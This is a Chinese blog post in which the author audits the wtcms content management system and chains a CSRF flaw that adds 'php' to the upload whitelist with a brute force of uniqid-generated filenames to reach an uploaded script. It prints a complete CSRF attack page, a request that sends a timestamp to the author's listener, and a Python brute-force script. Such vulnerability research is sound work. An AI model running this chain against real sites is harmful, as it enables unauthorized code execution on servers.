小码农

好记性不如烂笔头....

记一次代码审计

学习代码审计,在github上找一个去年开始不更新的项目https://github.com/taosir/wtcms

这一次代码审计技术上并没有多大难点,但查看源代码总让我感觉很兴奋,以至于996的我昨晚2点过才睡。。。

首先,我们查看主页

《记一次代码审计》

就只是简简单单的看下首页而已,下面我们再看下后台

《记一次代码审计》

好了,接下来,我自己一个人看看代码。。。。。

我发现后台接口都没有做Referer校验,也没有csrf_token,那基本上都存在csrf,csrf总是改改这,删删哪的,添加管理员什么的。。。直到我看到一个上传功能,作为菜鸡中的菜鸡的我,还没有体验过用csrf上传文件呢。。。试试(就是这个试试,让我两点过才睡。。)

原理很简单,技术也很简单 ,上传功能做了白名单校验,但是有个接口时修改上传文件白名单的。。然后csrf。。。就是这么简单。。

忘了给代码图了。。。补上

《记一次代码审计》
修改上传白名单方法

sp_set_option 这个方法就是把第二个数组参数写到数据库Option表里,也给你看看吧…

《记一次代码审计》
sp_set_option 方法

构造一个简单的csrf页面。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<script type="text/javascript">
    function post(url, fields) {
        var p = document.createElement("form");
        p.action = url;
        p.innerHTML = fields;
        p.target = "_self";
        p.method = "post";
        document.body.appendChild(p);
        p.submit();
    }

    function csrf_hack() {
        var fields;

        fields += "<input type='hidden' name='image[upload_max_filesize]' value='10240' />";
        fields += "<input type='hidden' name='image[extensions]' value='=jpg,jpeg,png,gif,bmp4,php' />";
        fields += "<input type='hidden' name='video[upload_max_filesize]' value='10240' />";
        fields += "<input type='hidden' name='audio[upload_max_filesize%5' value='10240' />";
        fields += "<input type='hidden' name='file[upload_max_filesize]' value='10240' />";
        fields += "<input type='hidden' name='video[extensions]' value='mp4,avi,wmv,rm,rmvb,mkv' />";
        fields += "<input type='hidden' name='audio[extensions]' value='mp3,wma,wav' />";
        fields += "<input type='hidden' name='file[extensions]' value='txt,pdf,doc,docx,xls,xlsx,ppt,pptx,zip,rar' />";


        var url = "http://192.168.1.2/index.php?g=admin&m=setting&a=upload_post";
        post(url, fields);
    }

    window.onload = function () {
        csrf_hack();
    }
</script>
</body>
</html>

登录管理员账户,打开上面的代码html文件。操作成功。。。

《记一次代码审计》
成功添加php白名单

在后台找了一个友情链接上传点,上传了一段脚本,然后BurpSuite抓包

《记一次代码审计》
上传抓包请求及响应

从响应里可以看到,上传成功了,但是文件名被改了,如果我们采用csrf的方式,因为同源策略的原因,我们只能把文件上传上去,却不能获取响应信息。不管了,先用burp生成一个poc再说。

《记一次代码审计》
生成的poc

既然是在代码审计。。那我得去看看这文件名怎么生成的。目标框架采用ThinkPHP3.2.3

《记一次代码审计》
上传图片处理代码片段

从上面这段代码可以看出最后返回的文件路径来自于$upload->upload(),是ThinkPHP的上传方法,我们继续跟进:

《记一次代码审计》
ThinkPHP对上传文件生成文件名的对应方法

上面代码片段是我从TP(下面我把ThinkPHP简写成TP)框架的/thinkphp/Core/Library/Think/Upload.class.php文件下的Upload类里的upload方法里截出来的,下面继续跟进:

《记一次代码审计》
《记一次代码审计》
获取save_name的rule

从上面可以看到,如果rule为空,将会保持文件名不变,但显然不是我们要的,然后我查看了目标CMS的配置,没有相关配置,只找到了默认配置,那应该就是使用了默认配置。接着往下查看getName方法:

《记一次代码审计》
TP最后的调用

很显然,根据我们上诉的rule,我们调用了:

$name = call_user_func_array($func, $param);

func = uniqid; $param是个空数组。从而得出文件名是通过无参数调用uniqid方法获得,所以接下来我对uniqid方法百度了一番。。获得的消息无非就是根据微秒计算得来的。。。百度翻了很久,到这里就睡了。但我心里已经有了想法。那就是看php源代码。看能不能复现。

好了。。第二天了。。。

下载好php5.6.9,解压。Everything搜索

《记一次代码审计》
Everything搜索条件及结果

看了这个比较靠谱的结果。。。还真就对了。

《记一次代码审计》
php源码中uniqid的实现
《记一次代码审计》
我的盗版实现
《记一次代码审计》
效果对比

效果对比。。还真挺像的。。。于是。。我改了文件上传的poc,加了如下一句:

var xhr1 = new XMLHttpRequest();
xhr1.open('GET', "http://127.0.0.1:5000/?timestamp=" + (new Date()).valueOf(), true);
xhr1.send(null);


window.onload = submitRequest();

顺便还把burp生成的点击触发,修改成了加载触发,于是在触发文件上传poc的时候,我收到了:

《记一次代码审计》
收到脚本触发的时间戳

利用该时间戳,我们可以进行爆破上传的文件名

于是下面的脚本诞生了:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2019/5/31 15:17
# @Author  : SuanCaiYu
# @File    : s.py
# @Software: PyCharm
import time
import requests

# After testing, the "admin" here is fixed, "20190531" is the script file upload date, which can be obtained by executing the csrf poc of step 2.
url = 'http://192.168.1.2/data/upload/admin/20190531/{}.php'
upload_time = 1559281146169
try_num = 10


def split_s_us(t):
    s = str(t)[:10]
    us = str(t)[10:]
    return s, us


def request(task):
    for try_cnt in range(try_num):
        try:
            resp = requests.head(url.format(task))
        except Exception as e:
            print(repr(e))
            time.sleep(try_cnt)
            continue
        else:
            if resp.status_code != 404:
                print('[OK]', url.format(task), resp.status_code)
                exit()


def attack(_timestamp, _microsecond):
    for _ in range(30):
        for _ in range(1000000 - _microsecond):
            request('%08x%05x' % (_timestamp, _microsecond))
            _microsecond += 1


if __name__ == '__main__':
    timestamp, microsecond = split_s_us(upload_time)
    timestamp, microsecond = int(timestamp), int(microsecond)
    microsecond *= 1000
    print('开始攻击')
    attack(timestamp, microsecond)

速度有点慢,多线程,多进程,协程都能加快速度,考虑到我渣电脑的性能,就这样把,在坚持不懈的2个小时爆破下:

《记一次代码审计》
爆破出的路径
《记一次代码审计》
结果当然也是美好的

一次玩性大发的代码审计。。。我申请CVE了,但是不知道结果怎么样。。。啊啊啊,明天周六还要上班。。。不好意思,是今天

告辞

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注